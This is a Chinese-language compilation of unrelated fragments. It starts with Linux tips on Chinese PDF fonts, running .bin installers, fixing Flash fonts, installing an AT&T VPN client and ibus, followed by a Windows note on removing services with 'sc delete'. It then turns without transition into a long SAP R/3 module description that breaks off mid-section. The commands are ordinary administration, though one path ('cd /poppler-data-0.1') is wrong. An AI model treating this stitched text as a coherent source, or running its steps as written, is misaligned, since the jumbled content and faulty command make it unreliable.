安装Linux后PDF阅读器默认的也会在系统里面。不过有时对中文的支持有点儿问题——即使安装时系统语言选择的是中文也是一样。
论坛有朋友提示,要安装sudo apt-get install xpdf-chinese-simplified来解决。但是至少在我的电脑上似乎没有什么反应(我想应该也不会只我一人会这样吧)。
今天看到红联上有个朋友发帖问同样的问题,然后根据某位朋友的回复找到了解决这一问题的办法:
1.在下载poppler-data http://poppler.freedesktop.org/poppler-data-0.1.tar.gz,解压(Poppler is a PDF rendering library based on the xpdf-3.0 code base. )
2.在终端执行:cd /poppler-data-0.1
3.再输入:sudo make install datadir=/usr/share
ok
扩展名为.bin文件是二进制的,它也是源程序经编译后得到的机器语言。有一些软件可以发布为以.bin为后缀的安装包,例如,AdobeAIRInstaller.bin。
下面以安装AdobeAIRInstaller.bin为例:
进入.bin文件所在的目录,给当前用户增加对.bin文件运行的权限:
chmod u+x AdobeAIRInstaller.bin
安装:
./AdobeAIRInstaller.bin
注AdobeAIRInstaller.bin文件已在终端要的目录中,否则要加文件地址。
如果出现flash乱码现象,可以用以下两条命令解决:
执行
sudo cp /etc/fonts/conf.d/49-sansserif.conf /etc/fonts/conf.d/49-sansserif.conf.20090510.bak
sudo rm /etc/fonts/conf.d/49-sansserif.conf
1.Download the client
http://www.attnetclient.com/forum/download/file.php?id=295
2.Install tcl
sudo apt-get install tcl8.5
3.Unzip the agnclient_10_201_3000_1_1_i386.zip
4.Install the client
sudo dpkg -i agnclient_1.0~2.0.1.3000-1.1_i386.deb
sudo apt-get -f install
1、scim输入法和字体
sudo aptitude purge ~nscim
sudo aptitude install language-support-fonts-zh
2、然后检查源的配置:
sudo gedit /etc/apt/sources.list
3、在软件源中添加:
deb http://ppa.launchpad.net/ibus-dev/ppa/ubuntu jaunty main
4、 在命令行安装:
sudo apt-get update
sudo apt-get install ibus-pinyin
5、如果是第一次安装iBus,那么需要设置一下系统的默认输入法:
sudo im-switch -c
6、重启电脑
7、在系统提示栏的iBus图标上单击右键,选择“首选项->输入法”,添加拼音输入法和其它所需的输入法
在Windows中,有一类程序称为服务,在操作系统内核加载完成后就开始加载。这里程序往往运行在操作系统的底层,因此资源占用比较大、执行效率比较 高,比较有代表性的就是杀毒软件。但是一旦因为特殊原因不能正确卸载这些程序了,其加载在Windows内的服务就不容易删除了。即便是删除注册表中的相 应项目,虽然不启动了,但是系统中仍然存在此项服务,只是没有加载而已。如果安装其他的程序需要操作对应的地方的时候就容易出现兼容性问题了。那么如何彻 底的卸载也就是把服务也卸载掉呢? 网上虽然有很多这类工具,但是都没有说具体实现方法。作为电脑爱好者,我们还是应该探索其原理与究竟。皇天不负有心人啊!终于让我找到了卸载Windows服务的方法了。这次经历再次印证了,什么秘诀什么技巧,都不如微软家里的东西好。闲话少说,进入正题!
事情缘由以前曾经有朋友瑞星用盗版,后来被封号了。不幸的是他自己来自己当初那个盗版号都不知道了。这下可好,瑞星的程序设计,不但安装时要求 用激活码,连卸载的时候都要。这下惨了,朋友都卸载不掉瑞星了,一个杀毒软件安装,除了常见的注册表项目之外,还有更多的痕迹——服务!可以说杀毒软件比 谁都流氓,基本上是请神容易送神难。当初怎么想都想不出怎么卸载瑞星,虽然可以通过很多种方式删除文件、停止服务、删除注册表项目。
但是说到底,就是没有卸载掉。况且谁知道作为Windows服务,到底在什么地方残留了东西呢?
结果今天用免安装版的MySQL的时候,却意外地发现了操作windows服务的方法。如下:
在命令行模式下输入 sc,看到了吧,一大堆命令
语法:sc create | delete | config 服务名 [参数]
主要参数列表:
start= demand|boot|system|auto|disabled|delayed-auto //启动类型
binPath= BinaryPathName //可执行文件路径
depend= 依存关系(以 / (斜杠) 分隔)
DisplayName= <显示名称> //屏幕显示名称
作用依次是:新建、移除、重配置服务。
例如:重新配置服务mysql的执行路径的方法是:
sc config mysql binPath= "新路径"
再如:卸载一名为"RTPGService"的服务:
sc delete RTPGService
附录B财务会计(FI)
附录B.1总分类帐
会计科目表
总分类帐会计核算所使用的会计科目表既可以用于单个的公司,也可以运用于整个集团公司。如果SAP的系统必须同时满足跨国公司和特定国家的法规的要求,用户可以分别定义会计科目表,保证财会方面的功能。SAP提供的样板会计科目表可以使用户方便地实现这方面的功能。当然,用户也可以重新创建一个(或多个)会计科目表。
货币
为了满足许多国家对货币的法规的要求,SAP系统允许用户同时用多达三种货币作为记帐和结算的本位币。所有的业务处理均能以记本位币、集团公司货币以及客户自定义的硬通货记入帐本。
R/3系统提供了自动处理有关外币评估、信息分类以及应收帐款到期处理的功能。这些将对用户的月末和年终结算有很大帮助。
资产负债表
SAPR/3财会子系统可以根据不同的类型,维护不同的资产负债表:
l 科目余额清单
l 资金流的分析表
l 结算日期的资产负债表
l 年度财务报表
系统甚至允许客户向外界如银行和新闻界提供适当的关于企业运作状况的信息。在后勤和人力资源管理子系统发生的与财务相关的业务也会实时地更新有关记录。在后勤子系统记录的业务处理会自动地记入财会系统,如果有必要,也能记入管理会计系统。这就保证了在后勤子系统发生的诸如收到货物和销售产品这样一些业务,能够同时反映到财会系统中,有效地保证了数据的一致性。同样地,诸如工资、奖金等业务也会得到同样的处理。
明细分类帐
除了能够将后勤子系统与财会子系统集成之外,在财会子系统内,总分类帐同样能够与明细分类帐紧密连接。所有与明细分类帐中借方和贷方科目(包括固定资产模块)有关的业务,均会同时反映到总分类帐和资产负债表上。因此,明细分类帐与总分类帐之间总是一致的。
合并财务报表
与单独的企业财务报表相比,合并财务报表已经显得日益重要。
SAP系统允许客户能够选择多种方式来对集团公司下属的各个子公司的业绩进行评估。
集团公司的合并资产负债表不是简单地将子公司的资产负债表进行简单地相加而得。合并资产负债表应当反映对资产、应收帐款、债务、利润和销售收入进行重新分类、评估和合并。
附录B.2法定合并
与财务会计和固定资产系统的集成,数据可以直接从各个财务报表中汇总过来,这就使法定合并的业务处理大为简化,此外,还可以减少因为不同的软件的使用而造成的数据转移中带来的错误。
除了法定合并以外,SAP系统允许用户在计划值的基础上经常地结算和作合并会计报表,另外,用户还可以对不同的业务领域自行定义报表。
附录B.3应付帐款
SAPR/3财会子系统的应付帐款模块对所有供应商的财会数据进行管理。它是与采购模块集成的一个部分,也是销售与分销模块中关于发货、发票和付款数据的来源。
包括折扣在内的付款功能可以用正规的书面形式和电子数据交换媒介(如EDIFACT,EDI)来处理。系统支持所有国际支付方式。为检索未清项,系统提供帐户分析、逾期分析、以及风险分摊的功能。
在应付收帐款模块中,余额审计线索、帐户清单和凭证日记帐记录下所有的业务处理。
附录B.4应收帐款
应收帐款模块是在SAPR/3财会子系统中对客户帐户进行监测与控制的模块。
在此模块中,帐户分析、示警报告、逾期清单以及灵活的催款功能,都使用户可以方便地处理客户未清项。而信函功能能适合任何企业的要求,可以用于付款通知书、对帐单和帐户清单。
在收款时,用户既可以用简便的直接输入方式,也可以使用自动数据传输方式。
同销售与分销模块、现金管理模块以及在损益表中的客户特定的功能之间的接口,为所有业务处理提供更多的信息。此外,SAP的信贷管理、流动资金计划以及利润核算功能也能提供实时的和一致化的数据。
附录B.5特殊分类帐
SAPR/3财会子系统的特殊分类帐模块为特定的客户提供了特殊的计算功能。在此模块中,一个分类帐可以通过对科目的特殊设置(如成本中心、产品等),获得不同的视角来反映科目的余额。它能满足不同的厂商对报表的要求。用户可以对每一个分类帐进行计划、分配和货币转换处理。当实际业务发生时,这些特殊分类帐也能自动地更新。
附录C管理会计(CO)
附录C.1成本中心会计
R/3成本中心会计核算帮助用户确定在企业的何处将生成何种成本,并将成本分配给产生该成本的部门。此类型的记录和分配不仅能够进行成本控制,它也能作为其他管理会计核算部门(例如成本对象控制)作准备。
附录C.2基于业务活动的成本核算(CO-ABC)
基于作业的成本核算是一种测定业务过程和成本对象的成本和完成量的方法。ABC根据业务处理过程中使用资源的情况来分配成本。业务处理过程中发生的成本根据这些过程的使用情况来分配到成本对象中(例如产品、服务。顾客。定单等)。
ABC认识成本驱动器和业务处理过程之间的偶然关系。
附录C.3订单和项目会计管理
在管理过程中必须单独监控的大量投资支出测算可以内部定单或项目的方式来表示。SAP定单和项目系统的功能可用于各种投资支出测算,这些功能包括:
l 资源与成本计划功能,可与用户的材料管理与生产能力计划系统全面集成。
l 广泛的选项功能,用于监控实际成本、计划成本、原价及次级成本。
l 未清项目管理功能。用于管理采购定单、采购需求、材料及资金储备。
SAPR/3系统内部定单模块中,其重点是成本分析和结算。CO定单的首要目标为下列各项:
成本控制:
收取成本
成本结构的确定
计划/实际成本的比较以及变量的显示
制定决策工具:
备选的成本核算
成本分析(报表列、行项目、每月/每季指标、未清项、数量和值)
向目标对象的作业分配和结算:
定单
项目
成本中心
网络(操作)
资产
获利能力段
客户定单
总帐科目
成本对象
项目系统(PS)可使用户控制广泛的项目层次结构。它可向每个项目要素,甚至可与网络相连,分摊预算、成本、期限和能力。
附录C.4产品成本核算(CO-PC)
R/3生产成本管理会计支持下列成本会计核算程序:
l 一般附加费
l 统计标准成本核算
l 基于边际成本的灵活的标准成本核算
此外,该系统也为无形产品和服务生产中的生产成本管理会计提供一个简单的成本评估程序。
R/3系统管理会计模块的生产成本核算程序考虑不同的企业类型和成本会计核算程序。
在R/3系统中,生产成本管理会计与其后勤模块紧密地连接。例如,在销售订单相关的生产中,SD模块中的销售订单也用做成本对象,在成本对象中,成本和销售收入进行比较。物料单和源于数量结构的PP模块中的工作程序用于生产成本核算。基于包含在MM物料主记录中的价格评估物料构成。基于成本中心会计核算中的预计作业价格评估服务。数量及价值流也被集成以便后勤模块中的每次数量移动也能通过实时的成本核算影响相关成本对象中的实际成本。
附录C.5获利分析(CO-PA)
SAPR/3的获利分析(CO-PA)可以满足及时的获利分析及销售管理的各种需求。CO-PA可以使您从业务的各个方面(比如产品、客户、定单和它们的任意组合)及任何组织单元(比如销售组织或业务领域)对它们的毛贡献或对经营利润的总体贡献进行分析。
关于获利情况的信息构成了定价、选择客户、决定合同条款、控制数量、选择分销渠道及促销的决策依据。
附录C.6利润中心会计(EC-PCA)
利润中心会计支持面向销售的销售成本会计方法和基于期间会计方法的分析。
利润中心会计的主要目的是确定利润中心的经营利润。R/3可使您按期间会计方法和销售成本会计方法反映利润。此外,通过把资产负债表行项转入利润中心会计,您还可以按利润中心显示其它关键指标(投资收益率、流动资产、现金流量等)。
这可以为管理层提供重要的、战略性的计划信息,并提供可靠的数据以支持对公司未来至关重要的投资决策过程。
利用标准软件可以极大地改进成本/收益比率,这一点是勿容质疑的。获利分析(CO-PA)和利润中心会计(EC-PCA)通过为您提供以下功能使您获得竞争优势,从而节省时间和金钱:
l 及时获得信息从而尽早洞察获利性趋势
l 缩短决策所需的响应时间
l 提供满足各公司不同需求的报表以缩短查询时间
l 精确的汇总信息有助于避免错误决策
l 通过提供标准的数据结构和用户界面改进全公司范围内的通讯和用户认可状况
附录D销售和分销系统(SD)
附录D.1销售支持(CAS)
R/3销售支持部件可帮助理你的销售和市场部门在对现有的客户提供支持的同时发展新的业务。销售支持将提供一个环境,使得所有的销售人员,包括现场销售人员和办事处的职员,都能提供和存取有关客户、潜在客户、竞争对手及其产品、联系人等方面的有价值的信息。销售支持部件的功能是既作为有关销售和分销的各方面信息的源,又作为获取业务的起动力。
使用R/3销售支持中的工具在销售支持环境中,你不但可以创建直接邮寄去发展新的业务,而且能巩固已有的客户群。在已存入系统的销售信息的基础上,你可以创建有关客户和潜在客户的地址清单,他们是你发动的直接邮寄攻势的目标。有关客户、潜在客户,竞争者以及其产品和销售物料方面的背景信息是作为主数据来存储的。
R/3 SD的销售支持要素为客户服务和你的销售及市场人员的商业活动提供了工具和处理手段。SD模块中的这一部分紧密地与SD的销售、发货和开票功能连接在一起,用以提供日常商业事务的附加的必要手段。销售支持使售前功能得以简化和自动化,使人们摆脱了重要但很繁重的日常工作。
售前支持将帮助提供对现有客户的服务,而这些客户也将有助于新的商业发展。使用SD中的销售支持,结合现场销售人员和其它职员能有助于掌握有价值的信息;这些信息将涉及客户、销售项目、竞争对手和他们的产品,以及合同。销售支持具有作为SD的信息资源和作为一种获取新的商业动力的功能。
销售支持功能将使现场销售人员的工作纳入到组织的信息流中。SD能快速地作出由销售人员收集来的市场信息,这些信息将为销售处的办事人员所用。通过R/3SD可获取的通信媒体包括:
l 使用笔记本电脑或其他工作站与R/3SD连接
l 使用移动电话系统和笔记本电脑与R/3SD连接
l 使用R/3系统的部件R/Mail进行信息传送
l 通过电信服务实现连接,诸如EDI或传真
l 打印的文件
附录D.2销售信息系统(SIS)
SD的最重要工具之一就是销售信息系统。这个实时数据的共用库能方便地为你提供客户一种更高档次的服务,给你一个竞争的优势。精确的、实时的数据也意味着你的商业活动在效益上将有显著地提高。在SD中所有的销售、发货和开票处理提供的信息将通过中央R/3SD销售信息系统输入到销售支持中。这将包括销售的一揽表和销售订单的统计资料。
销售信息系统能提供广泛的功能用于制定有关销售信息的报表。这些报表能协助你制定销售和商贸策略以及分析计划的结果。例如,通过销售处和销售组你可以制定出一个有关收到的订单的详细报表。你还能够为专项客户着手一份有关全部公开销售活动的清单,而且能检查各个销售订单的历史。
附录D.3销售
R/3SD中销售功能的突出特点为:
l SD的订单输入和配置能力被一家独立的咨询公司评为“最佳等级”。
l SD的定价能力也被一家独立的咨询公司评为“世界级”。
l 在最大限度地扩大你成功的机会中,与其它R/3系统模块集成SD销售功能,将使每一销售作业阶段的数据输入工作量减至最少。
l 先进的信贷管理能力可使你的销售风险减至最小。
l 精细的定价可以保持你工作的灵活性和竞争性。
任何大组织的销售与分销门都要开展广泛的销售活动,而每一项活动都包含了大量自身的的各种变化因素。这些活动从处理报价申请(RFQS)、报价单和销售订单到定价、信贷和产品可用性。这项工作中任何一步稍有疏忽都可能造成订单的丧失,甚至损害与良好客户的关系。
最好的情形是,上面提到的所有的活动,甚至更多的活动都进展平稳:一个过程和下一个过程可以衔接起来,数据输入减至最少而误差则被消除。在销售中,你可以通过R/3SD来实现这些过程。在增加更多的SD的能力以前,分析人员们称R/3SD具有“杰出”的订单输入结构和定价功能,现在SD功能齐全,可为你所用。
R/3SD的销售处理可以提供:
l 询价、报价和销售订单的处理和监控
l 广泛的拷贝功能可以将在订单输入中的误差和重复劳动减至最少
l 客户定义的凭证类型用于所有销售订单
l 可用性检查(ATP)
l 交货计划
l 发货点和路线确定
l 包括本国和外国货币税金确定在内的定价
l 客户信贷检查
不论你的销售简单还是复杂,SD均能满足你的需求。SD能轻易地支持大多数事务和作业。即使你的需求相当复杂,你也能很容易地将该系统为你所用。R/3SD与R/3系统的其他部分全面集成,其中包括财务会计,生产计划,服务管理,项目管理,物料管理和质量管理。这使你的SD事务可以实时工作。
附录D.4询价及报价
询价和报价文件是作为关键的售前作业的指南性文件,并且还提供用作业务信息的资料库。当客户需要有关产品和服务的信息时,你可以使用系统中的询价功能。这些文件提供有关未来客户的重要信息。当销售开始时,你可以快速地从询价或报价文件中取出信息并容易地输入到销售的文件中。同时,SD还包括了许多用于管理和监控这些文件的功能。你可分析销售之前的文件用来衡量市场的动向,分析丧失销售的原因,以及建立用于计划和战略的基础。
SD提供了用于查阅系统中询价和报价的分析工具。应用选择准则,你可以获得感兴趣的信息。
附录D.5订货
R/3SD可以帮助你处理不同的销售订单,这主要取决于特殊需求。在一个屏幕上输入带有许多项目的销售订单,或利用一份扩展的订单视图来设置一项复杂的订单时,系统能适应你的需求。
R/3SD提供了加速订单输入过程的几种工具:
l 复制功能
l 产品建议
l 面向客户的订单管理
附录D.6发货
装运是供应链中的基本环节。装运部门的主要任务是确保对用户服务和保障分销资源计划(DRP)。装运成本是后勤成本的主要部分。所以靠SAP提供的灵活装运处理,你可提高总的成本效益且变得更有竞争能力。
在SD的装运处理中,有关正常交货过程的所有决策都可用下法事先作出:
l 跟踪与用户的总协议
l 跟踪对物料的具体要求
l 对每一订单规定条件
这样做使你将装运过程合理化,使之几乎自动完成。只在需要做出决定的某种环境下才去干预它。
装运活动包括:
l 通过创建交货来开始装运过程
l 计划并监督装运过程每步工作的工作量
l 监控产品可用性,处理延期订单
l 分拣
l 包装
l 为运输计划提供目前的准确信息
l 打印并传递装运凭证
l 保障外贸要求
l 货物离开你的场地时更新信息
l 监督交货过程直到用户收到货物为止
附录D.7运输
运输是供应链中的一个基本要素。为确保装运按计划准时发放到客户所在地,有效的运输计划是必需的。运输成本在决定一个产品价格时起相当大的作用。为保持产品的价格有竞争性,使运输成本保持最小非常重要。运输的有效计划和处理能使这些成本降低。销售、分销系统的新的运输要素的目标是为运输提供基本功能:
l 运输计划和处理
l 运费计算
l 运费结算
l 客户运费计算
l 同时开出客户运费发票
l 服务机构选择功能
目前,运输功能在运输计划和处理境内、境外装运领域能够满足你的需求。你可以控制和监控整个运输处理,这个运输处理是从计划步骤直到从装运点(境外装运)或卖主地点(境内装运)分配货物到他们到达的客户地点(境外装运)或你的工厂(境内装运)。你也可以根据自己的需要提出完成运费计算和结算的功能,而且可以选择服务机构。
附录D.8发票处理
出具发票是销售和分销中的最后的活动。它支持以下功能:
发出:
- 根据货物和服务而发出的发票
- 根据相应的请求而发出的借项和贷项凭单
- 形式发票
取消出具发票事务
回扣的发出
传递过帐数据到财务会计(FI)
在SAPR/3系统中,以上所列的功能采用关于出具发票凭证执行。这些出具发票凭证覆盖了一般日常业务和特殊情形下的业务两方面的要求。
象SAPR/3系统中的销售订单处理的所有部分一样,出具发票集成在机构结构中。因此,出具发票事务可以指派给某一特定的销售机构、分销渠道和产品组。
附录D.9信贷管理
SAP R/3系统提供了强有力的信贷管理环境。通过集成,来自财务会计(FI)和销售与分销(SD)的最新信息使你能有效减少信贷风险,尽快解决信贷扣留(由于信贷原因而引起的凭证冻结),加快订单处理。信贷管理包括下列特点:
根据信贷管理的需要,可规定基于判据多样性的自动化信贷检查。你还可规定在销售和分销循环的那些临界点,应执行这些检查。
关键性的信贷状况,可通过内部电子邮件自动通知有关信贷管理人员。
信贷代表应处在这样的位置上,他能快速而准确地审查客户的信贷状况,并根据信贷政策决定是否延长信贷。
附录D.10可用性检查
按时交货对客户是至关重要的,它甚至会影响客户决定是否购买产品或相关服务。因此,R/3SD在订单输入时能自动地确定交付的进度。交货计划包括所有在货物发出前肯定要发生的活动。交货计划可以确定产品的可用日期和装载的日期。当你输入客户要求的交货日期时,SD能计算出装运活动的日期。系统可以确定出什么时候产品必须获得,什么时候进行分拣,装载,以及制定运输的计划,用以满足客户要求的交货日期。
运输计划要考虑到运送的时间和用于装运所需的运输提前期,甚至要涉及外国运输机械的情况。R/3SD也考虑了工作日历。例如在确定运输日期时,要考虑到货运代理商和其他的合伙人。
就交货和运输计划而言,该系统将确定运输时间,装货时间,分拣和包装的时间,以及运输的提前期。SD将交货处理基于若干交货截止日期而确定的,包括物料的有效日期、运输的计划日期、装载日期、发货日期和交货日期。
交货计划和可用性检查是相互依赖的。该系统利用要求的交货日期和客户的地点信息来确定货物在什么时候必须获得。如果货物不能满足所要求的交货日期获得的话,SD就用顺排计划表来寻找最早可以获得货物的日期,并计算出货物能送到客户手里的实际日期。
由于在你的组织中,销售、生产和发送状态是在不断地变化,SD在你输入销售订单时便进行一次可用性检查,以确保满足客户的需求。在发货过程中,可用性是自动重复检查的。
SD中的可用性检查可以确定是否产品能够获得,并确保按客户要求的交货日期交货。这项功能还提供有关库存水平,识别交货瓶颈,改善即时的业务处理,向MRP转送需求,以及改善客户服务。有两种形式的可用性检查:
基于ATP数量的检查:
SD根据仓库的库存量、计划供应量和需求量来计算可用性。
按计划来检查:
SD仅基于计划项目来计算可用性,而不是根据订单的数量来计算。
SD的可用性检查是灵活性的,而且可以包括许多不同的因素。你可以规定什么样的检查因素可被用于每项事务中。
这些因素包括:
l 安全库存
l 质量检查中的库存
l 运输中的库存
l 采购订单
l 计划订单
l 采购申请
l 生产订单
l 预留
l 相关需求
l 计划需求
l 销售需求
l 交货需求
SD通过使用你在主数据中所定义的那些时间,基于ATP数量的可用性检查还可考虑补货提前期,这个时间是订单或生产所需产品所要求的时间。
SD可用性检查还容许你确定是否在别的工厂中,可获得一些或全部所需产品。
在需求的传送中,销售环节将通知物料需求计划有关需要发送的货物数量。你可以应用R/3SD可用性检查来做这件事。R/3的集成性表明SD、MM和PP的应用能自动地交换实时的需求数据,需求将按单个的或汇总的需求被记录。物料管理和生产计划功能将应用来自销售的需求信息,以确定是否需要立刻开始生产,或者是否要首先采购零部件。
如果因信贷限额超标而使发货的销售订单被冻结时,需求传送也可能被冻结。这种冻结将取决于商业事务的类型。一旦冻结被手工撤消后,需求信息就可以传送。如果后来你作了更改,该系统能自动更新需求的发送。
如果交货计划和可用性检查确定货物不能按要求的日期交货时,该系统将能根据客户接受部分交货的方案作出不同程度的反应:
l R/3系统确定货物的数量,如果有,将按客户要求的交货日期交货。
l 系统确定整个交货的最早日期。
l 系统确定什么货物可以按客户要求的交送日期进行交货和必要的部分交货,直到完成整个订单数量。
由于缺乏货物可用性,订单项目按客户要求的交货日期不能得到确认时,订单项目可以应用延迟订单处理功能来加以更新。该系统可以重复检查可用性并显示目前的状况。如果所有项目现在都能被交货,你就可以处理销售订单了。你还可以使用更新功能,通过手工调整重新分配短缺产品,以满足你的最紧急的客户订单。
附录E物料管理(MM)
附录E.1采购
SAPR/3物料管理系统提供了强大和完善的采购模块功能,实现从确定采购需求,选择供应商,下采购订单,采购订单的跟踪及催货,收货及发票校对,付款等一系列涉及整个采购周期的所有活动.
在物料管理系统中,你可以为库存进行采购,也可以为直接消耗进行采购.同时你可以选择不同的采购形式,MM模块支持三种基本采购形式:
1. 使用一次性采购订单
2. 使用具有后续发出核准订单的长期合同
使用长期计划协议和供货计划表
你可以在系统中建立和维护与采购有关的物料和供应商数据,从而加强对采购的控制及优化系统中的采购程序.
这些主数据包括物料主数据.供应商主数据.采购信息记录.货源清单及配额的分配.
物料主数据包括了企业向外采购或内部生产的物料的详细信息。计量单位和物料描述是存储在物料主记录中的数据的实例。SAP后勤部分的其它模块也可以访问物料数据。
供应商主数据是关于外部供应商的信息。典型的内容有:供应商名称,供应商使用的货币和供应商编号(存储在SAP系统中作为帐户编号)。
采购信息记录记录建立了物料和供应商之间的联系,因而方便了选择报价的处理。例如,信息记录给出了用于从供应商订货的计量单位,并标注在一段时间内影响物料的供应商价格方面的变化。
货源清单规定了物料可能的供应来源。显示了可以从某一给定的供应商处订货物料的时间段。
配额分配是根据配额,规定在一定期间内物料总需求在特定的供应商之间如何进行分配.根据配额分配主数据的设定,系统可以自动完成采购任务在不同供应商之间的分配,从而简化手工分配任务.
此外,物料管理系统中的采购功能可以实现不同的采购需求方式,包括外协件的采购,寄存货物的采购,转厂的采购等,还可以实现电子化的采购审批程序,代替传统的手工化纸张审批程序,节省人力,物力及财力.
你也可以通过报价单申请及报价单的录入来完成询价及报价的全过程.
附录E.2发票校对
发票校验是物料管理(MM)系统的一部分。它提供物料管理部分和财务会计,成本控制和资产管理部分的连接。
物料管理模块的发票校验为以下目的服务:
l 它完成物料采购的全过程-物料采购从采购申请开始,接下来是采购和收货,并以收到发票而结束。
l 它允许处理不基于物料采购的发票(例如,服务费,其它花费,过程费用,等等)
l 它允许处理贷项凭证,既可以是发票的取消,也可以是打折扣.
发票校验不是对支付进行处理,也不是对发票进行分析.这些需要处理的信息被传递到其它部门.
发票校验的任务包括:
l 输入接受到的发票和贷项凭证.
l 检查发票的内容,价格和计算的准确性.
l 执行一个发票的帐目记帐
l 更新SAP系统内的一些数据,例如,未结算项目和物料价格.
l 检查那些因为与采购订单出入太大而被冻结的发票.
SAP系统的高度集成允许这些任务能够平稳和高效地进行.
附录E.3供应商评价
供应商评估功能能尽量优化采购操作,能简化选择货源过程、不断跟踪和考察现有的供应关系。
使用R/3供应商评估系统能保证更大的客观性,因为所有供货商以同一标准评估并由系统评分,尽量减少个人的主观印象影响。
评分系统:
分值为1到100分。供货商的表现用4个主要标准度量
全面的评分使采购人员了解供货商的表现并给供货商一个全面评价。
主要评估标准
标准系统中的主要评估标准为:
l 价格
l 质量
l 交货
l 服务
如果需要,最多可以定义99个评估标准。用户可以平衡每个标准在综合评估中的影响。
子标准
每个主要标准可以分为几个子标准,以便进行更详细的评估。
标准系统提供5个子标准,一般能满足评估目的。另外,用户可以定义最多20个自己的子标准。
给子标准评分
给子标准评分可有不同方法:
自动计算
半自动计算
手工输入
“自动计算”指分数根据系统中已有的数据确定。“半自动计算”指采购人员输入重要物料的分值,然后系统计算更高层的分数。“手工计算”指用户针对某个全局子标准输入某供货商的分数。
采购经理可以决定何时以更详细的基础评估,何时进行简单的处理以节省时间和费用。
分析
可以输出供货商评估结果。例如,用户可以生成按照全面分数排列的最佳供货商排列表,或提供某种物料供货商的排列表。
历史变化
评估的变化以日志形式记录,评估记录可以打印出来。
供货商评估的任务:
供货商评估功能使供货商按照同一标准排序,能自动和手工进行
此项功能通过合理和简化地挑选合适的供货商来优化采购过程
附录E.4库存管理
库存管理(IM)是MM物料管理模块的一部分,并完全地与整个后勤系统结成一体。SAP库存管理系统允许你
l 按数量和价值管理你的库存
l 计划,输入和检查货物移动
l 进行实地盘存
基于物料需求计划确定的需求,物料从外部或内部采购。交货作为收货输入到库存管理中。物料直到提交给客户(销售&分销)或用于内部(如生产)才被保存(并在库存管理中进行管理)。
在所有的业务期间,库存管理访问主数据(如物料主记录数据)和所有后勤部分共享的业务数据(如采购数据)。
与物料管理(MM)的结合
作为物料管理的一个组成部分,库存管理直接与物料需求计划,采购和发票校验相联系。
库存管理形成物料需求计划的基础,该计划不仅考虑了实际库存,而且考虑了计划的移动(需求,收货)。
当物料从供应商处订购时,库存管理将交货记录为参考采购订单的收货。供应商发票在以后通过发票校验进行处理。在这里,采购订单和收货凭证中的数量和价值被检查,以确保它们在发票中是一致的。
与生产计划(PP)的结合
库存管理与生产计划模块紧密相连:
库存管理负责生产订单所需部分的待运
在库存管理中记录仓库对产成品的接收。
与销售&分销(SD)的结合
一旦你输入一个销售订单,你可以初始化现有库存的动态可用性检查。在创建交货时,即将提交的数量被标记为“计划交货”。在记录发货时这个数量从总库存中减掉。创建销售订单库存也是可能的。
与质量管理(QM)的结合
在货物移动中,系统确定物料是否应进行检查操作。如果需要的话,在质量管理系统中为该移动初始化相应的活动。
与工厂维护(PM)的结合
库存管理与工厂维护有如下联系:
l 可以记录参考设备BOMs的货物移动。
l 可以提取一部分维护订单。
l 当序列号管理有效时,对每个货物移动输入独立的序列号。序列号在工厂维护系统中进行管理。
与后勤信息系统(LIS)的结合
利用库存控制部分,后勤信息系统提供了一个收集,压缩和评估库存管理数据的工具
R/3系统包含不同的模块。这些模块的完整结合允许公司不同的部门共享和维护同样的信息。顺利的物料流动需要这个过程的所有参加者之间有充分的交流。库存管理与R/3系统完整的结合以及和其它R/3模块的交流确保了所要求的信息流动,这些R/3模块包括例如:
财务会计(FI)
按数量和价值进行的库存管理不仅导致每个收货或发货更新物料主记录中的库存值,而且更新财务会计中相应的科目。这通过自动的科目分配来完成,系统通过这个科目分配程序确定与给定货物移动相关的科目。
控制(CO)
在物料消耗(例如当物料为不同的科目分配对象如订单或成本中心发出时)的例子中与成本会计系统的接口被激活(作为控制参考)。
当收货直接分配给成本中心或订单时,成本会计也包含其中。
资产会计(AM)
如果资产的物料从外部采购或从仓库或存储中提取,相应的货物移动分配给资产科目。在这过程中行项目在资产会计中被创建。
项目系统(PS)
物料可以为项目保留和提取。创建项目库存是可能的。
附录E.5库房管理
SAP的仓库管理系统(WM)为您进行以下工作提供了灵活、有效和自动的支持:
l 定义和管理仓库中的存储区和仓位
l 处理所有的记帐和事务,如收货,发货和一般的转储等.
l 对库存的变动情况进行监测
l 按仓位进行存储
l 确保在存储管理系统中的记帐与仓库中的实际库存情况一致
l 与材料管理系统,产品计划系统,质量管理系统和销售与分销系统的集成
利用WM系统,您可以对公司中复杂的库存结构进行管理。这种结构可包括不同的仓库中的区域(即存储类型),如在高架位闲置的存储、可用存储、冻结存储和固定的仓位提取区域等,以及生产供应、发货和收货区域等。利用WM系统,您可以同时对具有随机组织结构和具有固定仓位的仓库进行管理。
WM支持对所有相关货物移动的处理,包括由存储系统(IM)激发的收货和发货,由销售和分销(SD)系统激发的供货,以及发生在仓库内的移动,例如内部的库存转储。
在仓库管理系统中,您可以根据转储需求生成转储订单。转储订单可激发并控制仓库中货物的实际移动。
WM系统利用它在存储方面的功能,可以保证帐面存储情况和仓库中的库存情况在任何时候保持一致。由于SAP系统是高度集成的,所以您在存储管理系统和仓库管理系统之间并不需要单独的界面程序。
存储单位管理
仓库管理(WM)中的存储单位(SU)管理提供了在仓库中对物料流的存储单位进行优化管理和控制的功能.
附录F生产计划系统(PP)
附录F.1SOP销售及运作计划模块
销售和运作计划(SOP)是一个通用的计划和预测工具,你可以用它来使你的公司的经营现代化,优化公司的业务。
SOP的集成功能使你对公司的各项活动一目了然。你可以汇总不同的内部和外部的数据,作为设置现实经营目标的依据。这提供了现实检查的机会:我的业务策略是否反应我的经营能力和市场需求?这样,用SOP,你就可以采取有针对性的计划。
SOP的延展性使它适用于对任何逻辑数据进行高级的或详细的计划。弹性计划层次使你可以从几乎所有组织单位(例如,销售组织,物料组,生产工厂,产品组)的角度甚至整个企业的角度创建和查看你的数据。由于充分支持集中规划,SOP适用于销售、生产、采购,库存管理等的中长期计划。
你使用的计划表是电子表格。因此你可以大范围地进行跟踪先前计划数据、预测市场需求、运行分析,条件模拟等各种操作。
附录F.2需求管理(DM)
需求管理的功能是用来确定成品与重要部件的需求数量与交货日期。需求管理的结果就是所谓的需求大纲。
为了创建需求大纲,你必须首先定义用于计划某一产品的计划策略。该计划策略代表了用于计划与制造或者采购产品的不同的生产方法。
